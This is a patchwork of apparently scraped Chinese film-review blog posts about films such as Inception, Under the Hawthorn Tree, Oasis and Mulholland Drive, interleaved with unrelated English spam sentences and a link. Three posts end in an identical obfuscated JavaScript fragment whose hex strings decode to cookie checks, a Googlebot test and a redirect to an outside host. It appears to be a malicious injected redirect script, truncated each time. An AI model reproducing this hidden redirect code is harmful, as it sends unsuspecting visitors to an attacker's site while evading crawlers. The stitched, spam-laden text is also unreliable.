4.1神秘4.1研究笔记商店到底来不来 GR的tx 没地方给我花钱
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时间：2015-04-01 09:16
事情还得扯到托纳多雷来京的那次，阿三曾经在他的日记里提起这件事，但其实当时他并不在场，是我后来转告他的，我觉得这件事情在阿三的解释下变得更加有意义，所以我忍不住还得再说一次。
托纳多雷带着他的《巴里亚》和一系列意大利年轻导演的电影作品到MOMA当代影城搞了一个意大利影展，这个活动是电影资料馆主办的，因为他们自己的放映厅正在装修，所以把这个活动就搬到了小资小清新最爱的MOMA来，阿三是托纳多雷的拥趸，但却因为有事不能参加开幕式的媒体见面会，由我代参加，并抓住机会提问，但他给我发来的短信却是要我问托纳多雷到底和贝鲁奇上过床没，我虽然八卦好奇，但是也胆小，没敢问，
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Jul 25th, 2017 | Filed under
为了在一个年轻人的脑子里植入一个念头，一群人在里奥纳多的领导下攻入了他的梦境——我记得我看过很多以“梦”为主题的电影：《女孩梦三十》、《遥控器人生》，这是能记得起来名字的，还有很多记不起来名字的，好像也有一部是说以进入别人梦境的方法来进行心理治疗——等等等等吧，用梦来做文章，是一件非常讨巧的事情，就好像给你一张白纸，你可以不受限制地在上面乱涂乱画：制定你自己的规则和逻辑，然后你还可以不遵守它！
比如说：人在梦里是不会真正死亡的，死亡只会使这个人从梦里醒来；这个规则很有趣也很可信，但是给这部电影带来了极大的麻烦，因为这样一来，梦里的死亡就毫无可怕之处，大着胆子干吧，反正又不会真的死——没有畏惧，就很难惊心动魄，于是，又制定下一条规则：如果是注射了麻醉剂如梦的话，在梦里死亡，就不会醒来，而是会托弗洛伊德的福堕入到“潜意识的边缘”，在那里悠游自在地生活着，除非是有人专程跑到那里杀死你，让你醒来，否则你就永远都醒不来了——这条宪法修改案扭转了局势，使因麻醉剂入梦的人面对飞来横祸产生了畏惧，不这样的话，在子弹横飞的马路上和房间里，大家表情认真地躲避跳跃翻滚，就会显得很搞笑。
再比如说：时间——这个很重要，梦里的时间和现实的时间是不一样的，梦里的时间比现实的时间显得漫长，梦又分为三层，第三层的梦境比第二层的漫长，第二层又比第一层漫长，这样一来，人就有足够的时间在梦里完成他们想完成的任务——可是没有时间的紧迫感，动作也会显得没有意义，所以影片设置了一个车辆即将坠入水中的场面，只给你几秒钟的营救时间，在深一层的梦境里，也只被延长到20分钟而已。这样做，是必须的，好莱坞都这样。
再再比如说：梦可以随心所欲，没有梦到不了的地方，没有梦做不了的事情——我最喜欢的诗人夐虹有一句诗：不敢入诗的来入梦，梦是一条丝，穿梭那不可能的相逢。但既然如此，利用梦境来植入观念应该没什么困难，想怎么造就怎么造好了——这就涉及到好莱坞剧情片中动作与反动作的设计，动作没有阻力，电影就会不好看，现在动作有了，反动作是什么呢？梦都可以随心所欲了，阻力从哪里来呢？弗洛伊德老爷爷实在是太伟大了，他帮助导演想到了“潜意识对抗者”这个IDEA，并且在影片中花费不少的时间来向观众灌输这个概念——每个入梦的人，包括盗梦者和被盗者，都有潜意识对抗者，有的强有的弱，有的还手持两把大爹有万夫不当之男，作为影片的主人公里奥纳多，他的潜意识对抗者就是他死去的老婆玛丽昂格利亚。这些潜意识对抗者的目的就是为了制造阻力，作为一部投资过亿的大片，是不可能没有打斗的，是不可能没有大场面的，是不可能没有大规模毁坏的。现在，前提有了：梦。动作有了：利用梦植入观念。反动作有了：潜意识对抗者。剩下的，什么俗套什么噱头，整巴整巴往里填好了！
最后，在看完整部片子之后留在我脑子里的疑惑——梦是无所不能的，即便是拥有了那个陀螺的图腾，但是，我觉得，它也有可能在梦里停止转动，倒下来。
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We will begin by trying to understand what philosophy is what are its characteristic aims and methods, and order essays how does it differ from other subjects
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Sep 15th, 2010 | Filed under
在中国的导演中，张艺谋因为有过《活着》和《秋菊打官司》、姜文因为有过《阳光灿烂的日子》、顾长卫因为有过《孔雀》都成为我喜欢的导演，虽然张艺谋还拍过《满城尽带黄金奶》这样的烂片，但是我觉得，应该允许拍烂片的好导演存在，一个导演一生中有一部经典作品也就够了，比如说田壮壮有一个《蓝风筝》写在个人简历上也就够了。但是，我想起方会长曾经说过的话，我觉得他说的很有道理，导演要不退化，必须不停地拍片子，天天磨刀磨枪磨脑子，一歇下来就会OUT，“田壮壮被封了十年，现在就凹凸慢了。”——方会长的每句话都是那么意味深长。
所以一个好的导演一生中应该要留下很多的作品，像谢晋那样，像吕克贝松那样，说只拍十部，但是还是忍不住要接着拍（尽管一部比一部烂）。不可能每一部作品都是经典，但过人的才华将决定你至少会有那么一部脱颖而出。但是说来说去都要绕回我曾经对于“如何成为一个好导演”的话题核心上——要有钱，要有很多很多的钱。在《三枪》之后，很多人骂张伟平，说他毁了张艺谋，这样说是不对的，因为人不能对没有发生过的命运进行好和坏的判断，如果不遇到张伟平，张艺谋会更好还是更坏，这个无从知晓。但有人提供稳定的资金来帮助你成就梦想，你拍几部商业片予以回报，没什么大不了，对艺术的忠诚对理想的忠诚都比不上对人和情感的忠诚来的可贵。
所以这个世界上最干净的爱情应该是怎样的？像《山楂树之恋》中描写的爱情故事：两个人爱的那么纯洁那么深，一个人对另一个人无限无条件的关心和付出，然后这个人突然得了白血病死了——非常的老套，《血疑》讲的是这个，《第一次亲密接触》讲的是这个，《蓝色生死恋》讲的是这个，《爱情故事》讲的是这个——很多很多的爱情故事讲的都是这个，两个只能活一个，在爱情还没走到婚姻的坟墓里之前，女朋友或男朋友就先到坟墓里去了，这样的故事这么多，为什么张艺谋还要挑它？
片中的男主角老三，高干子弟，个子高工资高，女主角静秋，出身右派家庭，“幼齿”、“小骨头小肉”，穷，正处在高中毕业找工作的关键时期（这个女主角挑的非常好，有林黛玉的范儿），为了留校工作挣钱养家，静秋不得不做很多又苦又累的事情来接受单位的考验，包括跟着老师去农村调研编写与“英雄山楂树”有关的教材，住在队长家，认识了在勘探队工作同样也住在队长家的老三，恋情就这样开始了，老三用各种各样的理由在不打击静秋自尊心的前提下给予静秋物质上的帮助：送钢笔送钱送核桃送冰糖送山楂果送球衣送泳衣送胶鞋送脸盆等等等等，对静秋关心倍至，但是又因为静秋的身份不好，要好好表现争取留校，不能犯任何错误，所以两个人不得不偷偷摸摸约会，直到被静秋的妈妈发现，老三答应不见静秋直到她工作稳定为止，但是不久老三就住院了，静秋偷偷跑去看他，两个人在同一张床上度过了纯洁的一夜，也是最后的一夜。老三死后，静秋把他埋葬在山楂树下，故事就这么结束了。
还是很感人的，尽管老套，但如果用一种陌生的心态来看它，还是会被打动的。张艺谋用“学生作品”的手段把它拍了出来，一段一段地，用字幕来交代故事的转折点，显得拙朴稚嫩，是为了故意这样安排的呢，还是实在不想花心思做剧本呢，无从知晓。在张艺谋所有的艺术片中，这部电影只能算中下等，但是它仍旧具有一定的意义，因为它抒发了导演自身的感情，不是爱情，这部片子不是给恋爱中的小男小女看的，小男小女这样的片子看得多了，张艺谋不会不知道；也不是为了要普及“纯洁”的恋爱观或单纯怀旧，这部片子是拍给张伟平的，它的主题是“感恩”。
张艺谋影片中挑选的女主角，长得基本上都一个调调，比如巩俐章子怡董洁，包括这个静秋，她们都有点像张艺谋自己，尤其是脸型，尤其在《山楂树》中，静秋不是别人，正是张艺谋自己，张伟平就是老三。刘师兄告诉我，在张艺谋张罗奥运会开幕式的那两年，张伟平什么片子也不投，新画面的员工全体放了两年带薪假，干等着张艺谋忙完——太像老三了！有投资人如此夫复何求？当然你也可以说张艺谋是个多么巨大的品牌代表着多么大的利益，但是掰着指头数一数，全世界的名导演，有几个拥有这样不离不弃专一的投资人呢？张伟平不老三，谁老三？
如此一来，站在山楂树下回望《三枪》、《黄金奶》等片，就不觉得有什么遗憾的了，艺术很重要，理想更重要，若为人情故，二者兼可抛。如果真是这样，那么张艺谋就是一枚真的汉子～
接下来讨论什么是最干净和纯洁的爱情，就是这部电影带来的附加话题了。什么叫“干净和纯洁的爱情”呢？不求回报的付出？这是爱情本身应该包含的一部分；专一长情？这也是爱情本身应该包含的一部分；含蓄内敛偷偷摸摸？柏拉图式的禁欲？倍受压抑前景无望？少男少女的朦胧暧昧？——如果这是干净纯洁的爱情，那么，不干净不纯洁的爱情呢？大鸣大放大上床？毫无顾忌秀恩爱？老夫老妻的直来直去？爱情就是爱情，没有干净不干净之分，也没有纯洁不纯洁之分，就好象没有“好的好人”和“坏的好人”一样。影片中两个人的爱情倍受压制，无论是过程还是结局都非常凄凉，令人抑郁，爱情中温暖和光明的火焰一被点燃就随即熄灭，在动荡不安的岁月里，爱情根本没有容身之地。
每个人都有自己的爱情观，有的乐观积极，有的悲观消极，每个人的爱情观决定了他能拥有和获得怎样的爱情。男人、女人，不管他们爱上什么样的人、嫁了什么样的人、娶了什么样的人，都是他们所持有的爱情观的一部分。所以要摒弃感情上的问题和苦恼，最重要的就是改变自己的爱情观。纵观张艺谋影片中的爱情，很多“欲望和情感被压制无法被满足”的例子，甚至在最近的三枪中，又制造了类似于菊豆一样的偷情故事，这，也是张艺谋爱情观中的一部分——我，纯情深情也长情，有欲望有爆发力，但，谁能满足我？
如果，如果张伟平是一个女人，我觉得，他能。var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Sep 2nd, 2010 | Filed under
最近一段时间可能是更年期提前到来的缘故，非常好哭，连看《唐山大地震》都哭，看《玩具总动员3》也哭，因为回忆起看《玩具总动员1》的时候，是和老情人在杭州的一家电影院一起看的缘故，那是我第一次在电影院里看动画片，现在老情人早没影儿了，玩具系列也拍到头了。
后来团长推荐我看《蹬腿清单》，见是文艺片怕又得看到哭，团长好像大猩猩一般拍着丰满的胸部说肯定不会让人哭，但结果还是鼻涕眼泪滂沱，感慨人在快死的时候遇到一个有钱人真好，能豁出命去瞎折腾。
就这样留了一个心眼，再一次复习《甜蜜蜜》的时候，一个人准备了一大堆纸巾，在一个晴空万里的下午坐在电脑旁抽抽答答——张曼玉实在是太厉害了，谁飙戏能飙得过她呀，整个片子就看她一个人了，年轻，漂亮，当时才过30，皮肤也好，最重要演技出色，重心稳，一颦一笑拿捏到位。女演员混饭吃不容易，年轻漂亮的时候没演技，等真的会演的时候又老了。
整部片子的色调处理的就像老电影，符合它复古经典又纯情的故事风格，还带着点淡淡忧伤，从1986年到1996年，两个主角从大陆到香港再到米国，十年的时间表面上很漫长，其实惊心动魄荡气回肠的也就那两个小时而已，就像玩具总动员系列，看系列1的时候是1996年，看3的时候是2010年，15年的时间，对于牛仔胡迪来说他主演了三部动画片，对于我呢，人生起了骤变：牙齿掉了一半，曾经喜欢了十年的人再不见面，还落了一脸老年斑——但这样的状态才算得上是生活，才是常态，哪能够会在分别那么久就在异国他乡的橱窗前再次遇见？这个不可信，这是编导给观众的一个安慰奖，奖励他们花时间看这么一个爱情童话——不这样收尾，这个故事就没法结束，所以我表示理解。
黎小军在洞房夜抱着老婆说，当时在香港打拼很辛苦，那个时候如果你在我身边就好了，在人生低谷的时候，爱情很容易黏黏乎乎地发生，黎小军初到香港，见到李翘精明能干，很快产生要相濡以沫的依赖之心，孤独是很可怕的，孤独又穷，更要命，所以极度需要情感上的力量来给自己打气。黎明在整部片子里本色出演，导演只要对他喝一声：演吧，但是崩使劲儿——就OK了，黎明演戏是不能使劲的，《梅兰芳》里就使劲了，使劲就假，就不够迷人了。
就像会长说的那样，在整部片子中，曾志伟和张曼玉的对白写的最出彩，张曼玉演的太好了，黎明眼神容易飘，但有张曼玉都能压得住，所以说她重心稳，后来曾志伟又出来，更加衬得李翘这个角色八面玲珑。邓丽君是国宝级人物，我自认为我和她是很像的，因为，因为，因为我们都有哮喘，所以，所以，所以我将来也会成为国宝级人物，咳咳，这是后话不提——邓丽君有那么多好的情歌，比如说，我只在乎你什么的，但是编导只选了这首《甜蜜蜜》，纵观片中男女主角的笑脸，没有一张是“甜蜜蜜”型的，一个老实羞涩，一个慧黠机敏。两个人的爱情故事充满酸涩波折，不甜蜜，甚至连唱这支歌的邓丽君，结局也不甜蜜，所以以后看电影大家不能被片名所骗，《唐山大地震》肯定和地震没啥关系，《春风沉醉的夜晚》也没那么沉醉，《无人驾驶》其实就是《无人长脑》，知道了吧～！
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Main functions of the settings screen have been integrated, and mode and shortcut buttons have been https://spying.ninja/ removed, replaced by customizable user shortcuts and a quicker pull down keyboard
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Aug 30th, 2010 | Filed under
之所以这一期的知了会点这部片子，主要是因为RS在上一集提问到导演和编剧对于一部电影来说谁更重要的问题。《绿洲》在2002年威尼斯电影节上拿了一个最佳导演奖，在戛纳电影节上也获得好评，导演李沧东同时也是这部电影的编剧，我认为编导一体使这部电影在很大程度上做到了灵肉合一，于是再度声明：不是每一个好的编剧都会成为一个好的导演，但是一个好的导演必须是一个好的编剧。
说到底电影就是一门讲故事的艺术，用动作讲用画面讲用光影用声音，把节奏控制好，把起承转合安排好，设计好高潮——然后，就开始它对观众的摆布、剥削、欺诈、压迫、挑逗和调戏。一个好的导演从不会想用他的电影来取悦你，你算老几呢，他要控制你，让你的情绪乖乖地跟着影像走，至少在观影的一个多小时之内你是俘虏，你得听他的，之后你才会恢复到平常贼眉鼠眼狡黠万分的状态，回头想，妈的老子上了鸟当。一个可以编好剧本的导演，在拍摄的过程中就会拥有更大的自由去选择和处理手中的素材，只有多拥有一种武器，越来越鸡贼的观众才有可能乖乖地缴械投降。
绿洲这部电影，从故事上看非常简单，卖的就是一个脑瘫女主角的噱头和一个杯弓蛇影的IDEA，看完之后可能还会有些咬牙切齿——又拿残疾人说事了。影片结尾高潮的设置有明显的编排痕迹——因为男主角在此前有大把的时间去砍树，但这种编排并不会影响观众当时的情绪或引发质疑，导演很聪明，他利用一个男主角在半夜与女主角通电话，用咒语赶跑画上的影子这个细节，来牵住观众的鼻子，不对这个他精心安排的结局产生过多疑惑。
这部电影让我情不自禁想到前一段时间国产三大煽情片：《岁月神偷》、《海洋天堂》和《我们天上见》，其中我打分最高的是《我们天上见》，不是因为导演蒋雯丽在庆功会上露了底裤使我心旌荡漾，而是她讲述了一个关于“人之常情”的故事，不编派，不做作，有亲和力，如果再赋予这部导演处女作李沧东一样用影像叙事的功力，剑气合一，捣心如捣蒜，那么估计这部片子的煽情程度就会更上一层楼了。
为了不剧透，就简单的讲一下这部片子里我比较喜欢的地方。
首先是男女主人公出场的段落，将军出场是在影片一开始，大冬天的穿着短衫从车上下来，接着再到公车站等车，向旁边的人借烟借火，旁边的人穿的衣服很多，将军的打扮让人看着觉得很冷，接着，将军走向路边的小摊，扯着一件衣服问价钱。这是一个非常好的出场，好在哪里？好在他在接下来去超市买豆腐的时候，我们看到他依然穿着短衫——他没买衣服吗？他没钱吗？这是编导埋下的伏笔，小细节，但是很有心。
公主的出场带有童话色彩，一只白色的鸽子在房间里飞——但其实并没有鸽子。在韩国女星中，有很多长相不是很出色的，靠扮丑闻名，除了文素丽之外，还有金荷娜，金善雅、 自杀身亡的郑多彬。其实只要拍戏的机会多，对于一个女明星来说，演技就会比脸蛋重要的多。文素丽和男主角薛景求在李沧东的前一部片子《薄荷糖》里有过合作，所以这一次三个人的配合更加娴熟——不过李沧东在后来他最好的一部电影《密阳》中抛弃了文素丽，改了全度妍，可能是因为文素丽嫁了个导演，人老公不放心把她交给李沧东的缘故吧～
其次就是影片对男女主角之外的角色的关照，显得非常用心：当将军被拘在警察局时，弟弟来领他，将军对着屏幕左侧不停地招手唤他弟弟过来，招了很久，弟弟才出现在他身边，低着头，并不愿意和他站在一起；将军回到家，母亲先是热烈拥抱，随即又陷入到担忧中，并不为将军的回归感到真正的快乐——这时开场的谜团解开，将军取出一件衣服给母亲披上，在片头，即使冷，穿着短衫在外面，心里也是惦记着要给母亲买礼物——紧接着，嫂嫂出场，嫌将军把外面的脏带了回来，拿着抹布擦地板。所有的家人都不欢迎将军归来，但这嫌弃之心又都深藏在亲情和善的外表之下，且显得很自然。
接着，在将军母亲生日的那一天，矛盾因为公主的出现激化，过去的事情在兄弟三人的对话中被揭开，宴席上大家看着将军时的表情被重点表现。最后的全家福合影时，将军气呼呼地抛下家人推着公主离开，哪怕自己冻着也要买衣服让她穿的母亲，就这样在生日那天被抛下了。
再比如公主的邻居——哥嫂就不说了，邻居收了哥哥的钱，每天给公主做饭，偶尔也和保安在那里偷情，正准备嘿咻的时候发现公主在里屋看着——这应该不是偷看，因为这本来就是公主的家，邻居说了一句：“瞧，她在看！”那神情、那语气，再转过去看到门缝里公主怪物一般的脸——这一场戏安排的非常周到。紧接着哥嫂驾临，哥嫂的两次驾临都打断了嘿咻事件，可见哥嫂是人世间多么可怕的生物，如果想珍爱生命，就一定要远离哥嫂。
最后还得重申一下，看完这部爱情文艺片儿的女同学们注意了，不要相信李沧东胡诌的这个故事，在这个世界上会爱上一个脑瘫女的男人，是不存在的。var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Aug 14th, 2010 | Filed under
在中国，如果你想当一个好的导演，那么，你务必要在少年时期就立下志向，然后逃学去打工，被黑白两道通吃，学会坑蒙拐骗瞎忽悠，再在社会这个大学堂里茁壮成长，变被动为主动，通吃黑白两道，在40岁左右腰缠亿贯，世界各地都去了，各种女人都睡了，各路显贵都认识了，各种高等学府的文凭都花钱买到了，然后，你就可以请来你最瞧得上的导演来给你当枪手，匿名的那种，他要是不肯就用钱砸的他肯；接着，请最有名的编剧来给你当枪手，也是匿名的那种，他要是不肯就用钱砸的他肯；再接着，请最大牌的男明星来当男主角，他要是不肯就用钱砸的他肯；再再接着，请最漂亮的女明星来当女主角——但是女主角和男主角是没有床戏的，女主角和一个莫名其妙的男配角有床戏，这个男配角当然要由你自己出演——她要是不啃就拿钱砸的她啃！片子拍完之后，花400美金送到世界各地参加各式大小电影节，用钱砸出几个金奖银奖，再风风光光回到国内，开几个大会小会，各路领导专家媒体请来合力吹捧几天——他们要是不肯就拿钱砸到他们肯。行了，OK了，你的理想就达成了。
罗里罗嗦那么一大段废话，现在回到主题上——穆荷兰道这部电影，如果在中国，剧本阶段就会被有关部门杀的体无完肤，他们会毫不留情地向你指出剧本中各种各样的问题，然后再在你前进的道路上给你制造更多的问题。用我弟弟的话来说，其实所有人民的问题，都可以用人民币解决。再用孙导的话来说，中国的艺术家都是被阉割或等待被阉割以及迫不及待主动阉割以示好的。穆荷兰道是那么一部不可思议的片子，我看了之后既难过又激动——这才是一个同时有大脑又有小鸡鸡的男人(拍的片儿）！难怪阿三那么喜欢！
因为RS和方少已经对这部电影有了非常详尽的解读，那么我就不费劲重复罗嗦了，只说两点：
第一，注意这部电影里两个女主角的造型和造型的变化，从电影女主角的装扮上可以看出导演对女人的了解、喜好和欲望。同样是一个纯情少女，女导演心目中的和男导演心目中的完全不同——参照一下张艾嘉的《心动》里的梁咏琪和周星驰的《功夫》里的黄圣依，女导演常常会重视“纯情少女”中“纯情”的部分，男导演则会偏重于“少女”部分。这个不多说了，回到穆荷兰道中的金发女和黑发女上来——两个女主角在外形上有很大的差别，全剧前九十多分钟都在讲述金发女的一个梦，在这个梦里，金发女的发型和衣着的风格都是典雅安静型的，给人一种“秀外慧中”的整体印象，这就是金发女理想中的自己，在好莱坞这个大染缸里，她优雅纯洁，好似一朵莲花出污泥而不染。她善良又讨人喜欢，在演技上出手不凡，能在最短的时间里吸引周围所有的人——包括那个男导演，他虽然无可奈何地在黑社会的控制下挑选着那些凡脂俗粉的演员，但是还是用眼神直勾勾地盯着金发女直到她急匆匆离开的那一瞬间。这是金发女梦境里出现的场景，同时也是金发女在现实生活中对自己“怀才不遇”的一种意淫：我本来是很出众的，但是我打不赢潜规则，that’s all～——有这种想法的人生活中大把大把都是，不是好莱坞仅有，所以说没有一部好电影是在特定的地点讲特定的故事，所有的好电影都是在讲所有人的故事。导演没有说清楚黑发女最后到底有没有被杀死，这样的处理是对的，因为整个电影都不是在讲述外部故事，都是在讲梦，讲人的嫉妒之心和欲求不满之心，所有的视点都围绕着金发女在转——以至于在她梦醒来之后发生的很多事情，都让人怀疑它们的真实性，但有一点不用怀疑，那就是：这个女人已经濒临崩溃，离死不远了。
就是这样一个把自己想象成优雅驯良乐于助人的金发女，在梦醒之后我们看到她的模样——注意发型：从前是整齐服帖的，末端朝着耳根处卷曲着，而真实的模样却是蓬头垢面，发尾是不顺贴的，给人一种龇牙咧嘴的感觉，和小家碧玉型的梦里形象很不一样。再看黑发女，在梦里神秘性感，但是又惶恐无助，站在金发女身边，虽然人高马大，但是却处处需要仰仗金发女出面帮忙解决问题，不管她穿衣服还是不穿衣服，不管她穿着什么样的衣服，所有的人都拿怀疑的眼光看着她——这女人是谁？什么来路？——这就是金发女潜意识里对黑发女的怀疑，这女人什么来路？凭什么她就可以蹿的比我高？在梦里，金发女甚至把黑发女打扮得和自己一样，并解释成这是黑发女的要求，被戴上金色假发套的黑发女在镜子前显得十分怪异，也没有原来的样子好看，但是金发女很享受这种怪异，因为内心认为自己是完美的，所以也强迫其他人向自己看齐. 到了现实中，黑发女的形象突然一变——脸上的妆化的很浓，衣服也很华丽，举止性感妩媚充满诱惑，而且相当自信，不仅如此，她和金发女在床上嘿咻时的体位也发生了变化，由被动型变成压迫型——看到这里不得不佩服导演很会挑演员. 第二，就是从这部电影对演员造型的用心联想到最近的两部国产电影，当然它们和穆荷兰道是不能比的：杜拉拉和唐山大地震。徐静蕾在杜拉拉里担纲演主角，在剧中拼了命的和莫文蔚艾米吴佩慈比赛穿名牌服装，不管牌子一样不一样，风格是雷同的，你露肩低胸大摆裙，我也露肩低胸大摆裙，你花花绿绿高跟鞋我也花花绿绿高跟鞋，这就体现了导演在人物造型上的意识是一块豆腐渣，不管是不是植入广告，杜拉拉是女主角，她一出现在屏幕上就应该比配角抓人。记得她在剧中第一次给黄立行倒水的时候，穿了一件小碎花的开衫，风格清新质朴，很不一样，那个时候她还是底层员工，那个形象让我有一种被吸引和打动了的感觉，认为和杜拉拉的行事风格与性情还是比较相近的。后来就不行了，这种与众不同有个性清新质朴的穿衣风格没有继续到底，对杜拉拉的人物塑造可以说是打了一个很大的折扣。
再说唐山大地震，徐帆的表现是没得说啦，但是张静初就惨了，在影片中整个一没人管的孩子，从十几岁到四十岁，完全一个模样，除了由小辫到卷发披肩再到卷发盘起来之外，再没任何改变，怎么看她都是个20多岁的姑娘，但是她生的那个女孩呼啦一下子就长成十八岁了，这叫观众情何以堪？所以说导演，一定不能怕老婆，该关心女演员的地方还是要关心. Different tissue that helps in protection, defense and structural importance are found within rare source the connective tissue. 罗嗦了这么多，心情大大轻松起来——迟交的两篇作业，总算补上了！var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Jul 30th, 2010 | Filed under
大多数的报道上讲李安大学毕业后在家里做了将近八年的家庭主男，做家务带小孩，靠妻子养，间或接点拍片的活赚些小钱。之后成名大奖小奖不断，这段吃软饭的岁月就被冠以“天欲降大任于斯人也”的光圈成了美谈。要讲这个世界上最成功的男人，莫过于这个李安，他讨到了一个好老婆——但他自己也有个好脾气，能安得下心来让老婆养着。
李安的经历再一次验证我的名言，一个男导演的命运，往往有一半掌握在他女人手上。
可以想象一下一个男人7、8年的时间呆在家里处理那些三姑六婆的事情，心思会被锤炼的多么细腻，他不会像女人一样的去扎堆发牢骚，但是他会默默地关上书房的门，鼓捣鼓捣，鼓捣出一本像《推手》这样的剧本来。
第一次看《喜宴》的时候是在十几年前，主要是觉得中国讲同性恋题材的电影很少吧，所以觉得很好奇就看了（后来胡克老师说，中国最早的同性恋题材影片，其实该算得上是《梁祝》——我完全同意这种说法！）。赵文瑄这个演员在90年代的电视电影屏幕上很红很红，因为他站在那里就一副“我和其他男演员不一样，我相当有文化有内涵”的模样，然后他在《喜宴》之后就接拍了很多很多电视剧，大明宫词什么的，以至于有一段时间一打开电视就看到他，古装的军装的现代的八字胡的山羊胡的，看的眼晕。他还演了张爱玲的红白玫瑰，那部片子我觉得很经典，看完原作之后觉得男主角长得就是他那个模样。后来好像还演过胡兰成，我觉得也很般配，最后得出结论——发现赵文瑄很适合演负心汉，道貌岸然的那种。
金素梅在这部电影里的表现相当赞，尤其是刚出场的那段戏，画外音非常拿人，和此前在琼瑶片里的唧唧歪歪判若两人。赛门的表现也很好。从台湾赶来的二老，归亚蕾和郎雄，老戏骨，为整个片子增添了光彩。李安的电影最让我感到折服的一点就是他场面调度的高招，以及对细枝末节的小情绪的控制和拿捏——比如说在《色戒》里汤唯和梁朝伟在小酒馆，汤唯给唱“天涯海角觅知音”的那一段，我的心都绷着了，那种情境，稍许不注意就矫情了，但是李安做的相当好，以至于派汤唯在不经意中露出腋毛来——非常生活化，非常可信，也非常打动人。
好导演的片子，即使剧透了也该好好看一遍，因为电影是细节的艺术，细节的处理方式最能凸显导演的才华和想象力，也最能透露导演的心智感情和生活情趣。《喜宴》里有一段，赵文瑄和赛门正躺在床上，赵文瑄在讲电话，赛门去洗手间嘘嘘，开着门，嘘嘘完之后又回到床上——完全不设防的状态，这就是感情。李安后来又拍《断臂山》，还是讲同性恋，一个男人不是因为厌倦了女人才去爱上男人，也不是因为情感上曾经受过伤害，而是为了不辜负那种难得的相依为命的情感去相爱，这样的出发点感人至深。多少人在自己的情感上捆绑一大堆和利益欲望相关的东西，步履艰难，可纯粹的回归自然的属于动物的本性的东西却要用规矩约束起来，然后对本来就很脆弱的心灵进行无休止的鞭打和伤害，这是人类给自己找的麻烦。
《喜宴》的背景音乐总让我想起热带群岛沙滩上的草裙舞，据此我的推测是这样的：虽然故事发生在美国，但是因为很多是内景戏，除了赛门之外的演员都是中国人，所以为了强调这个故事不是发生在台湾而的的确确是发生在美国，所以弄了一些异域风情的音乐来标志一下，提醒观众看的时候不要搞错。
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What would you love / to do with those three hours
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Jul 28th, 2010 | Filed under
没看的时候以为会很闷，因为艺术品位不够高，所以觉得自己肯定没法欣赏大师级的作品，谁知道看的时候却非常顺利地一口气看完了，甚至被吸引了，这说明我的品位已经提高了，托知了会的福啊，知了会真是救国救民呀！
整部片子是没有什么剧情的，就是说一个致力于医学研究的糟老头，70多岁了，第二天要去儿子所在的城市去参加一个隆重的仪式领一个什么勋章，那应该是他人生中的巅峰事件。影片的一开始我们就看到，老头书房的桌子上放着儿子、妻子和母亲的相片，他们都不在一个相框里，而且，老头也没有和他们合影。
大事件的前一天晚上，老头做了一个奇怪的梦，在一个没有时间（失去时针分针的钟）、没有空间（迷路）的地方，老头跌跌撞撞地走着，遇到一个一推就倒的空壳怪人，又遇到一匹载着棺材的马车，棺材里躺着的人就是他自己——很显然这是一个预示着死亡的梦，但是也是之后出现所有幻境的预示：时空错置。
